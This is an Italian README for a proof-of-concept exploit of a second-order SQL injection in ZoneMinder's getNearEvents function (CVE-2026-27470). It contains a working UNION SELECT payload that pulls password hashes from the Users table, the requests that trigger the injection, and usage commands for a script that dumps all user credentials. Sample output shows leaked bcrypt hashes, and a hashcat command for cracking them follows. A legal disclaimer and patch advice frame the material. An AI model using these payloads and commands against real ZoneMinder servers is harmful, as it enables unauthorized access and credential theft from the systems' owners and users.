
Proof-of-concept exploit per una SQL injection di secondo ordine in ZoneMinder (CVE-2026-27470). Dimostra l'estrazione autenticata di dati, incluse le credenziali utente, con opzioni per query personalizzate e dumping degli hash.
⚠️ YASAL UYARI / LEGAL DISCLAIMER
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
Questo strumento è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. Utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta è illegale. L'accesso non autorizzato può violare leggi come il CFAA (USA), il Computer Misuse Act (Regno Unito) e la legislazione equivalente in tutto il mondo. L'autore non si assume alcuna responsabilità per un uso improprio di questo strumento.
Proof-of-concept exploit per una vulnerabilità di iniezione SQL di secondo ordine in ZoneMinder. Un utente autenticato con permessi di modifica e visualizzazione degli può estrarre dati arbitrari dal database — incluse tutte le credenziali utente.
Events| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-27470 |
| Gravità | ALTA — CVSS 8.8 |
| Vettore | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versioni affette | ZoneMinder ≤ 1.36.37 e 1.37.61 – 1.38.0 |
| Corretta in | 1.36.38 / 1.38.1 |
| File | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: Neutralizzazione impropria dei comandi SQL |
| Autenticazione richiesta | Sì — permesso di modifica + visualizzazione Events |
Questa è una classica iniezione SQL di secondo ordine (memorizzata). L'attacco avviene in due fasi separate, motivo per cui gli scanner tradizionali spesso non la rilevano.
Fase 1 — Scrittura Sicura
L'attaccante rinomina un evento con un payload malevolo. ZoneMinder utilizza correttamente una query parametrizzata in questo punto, quindi il payload viene memorizzato in modo sicuro nel database senza generare errori:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — sicuro ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
A questo punto tutto sembra pulito. Il payload è memorizzato silenziosamente nella colonna Events.Name.
Fase 2 — Lettura Vulnerabile
L'attaccante attiva getNearEvents() richiedendo gli eventi vicini per lo stesso record evento. La funzione legge il valore Name memorizzato dal database e lo concatena direttamente in una nuova query SQL senza alcun escaping:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~riga 460 — VULNERABILE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← punto di iniezione
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
Il payload memorizzato esce dal contesto stringa e la UNION SELECT iniettata viene eseguita, facendo trapelare dati nel campo NextEventId della risposta JSON:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
Lo sviluppatore ha commesso un errore molto comune: ha correttamente sanificato l'input utente in fase di scrittura, creando un falso senso di sicurezza. L'assunzione che "i dati del nostro database siano sicuri" ha permesso alla vulnerabilità di esistere nel percorso di lettura per anni. I WAF e la maggior parte degli scanner automatizzati non la rilevano perché la richiesta di scrittura appare completamente pulita.
pip install requests
-t, --target URL di destinazione (es. http://10.10.10.10:8080)
-u, --username Nome utente ZoneMinder
-p, --password Password ZoneMinder
--event-id ID evento da usare come vettore di iniezione
--query Query SQL personalizzata da eseguire
--dump-users Estrae tutti i nomi utente e gli hash delle password
--field Campo di iniezione: Name (predefinito) o Cause
--no-restore Non ripristina il nome dell'evento dopo lo sfruttamento
# Verifica la versione del DB (test più semplice)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Estrae tutti gli utenti e gli hash delle password
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Iniezione tramite il campo Cause invece di Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Query personalizzata
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attaccante ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# Cracking degli hash raccolti con hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name è varchar(64) nel database — mantenere i payload di iniezione sotto i 63 caratterinearevents.NextEventId nella risposta JSONAggiornare ZoneMinder alla versione 1.36.38 o 1.38.1.
La correzione consiste nell'usare un segnaposto di query parametrizzata per il valore memorizzato invece della concatenazione di stringhe:
// Prima (vulnerabile)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// Dopo (corretto)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Questo strumento è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata.
Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta.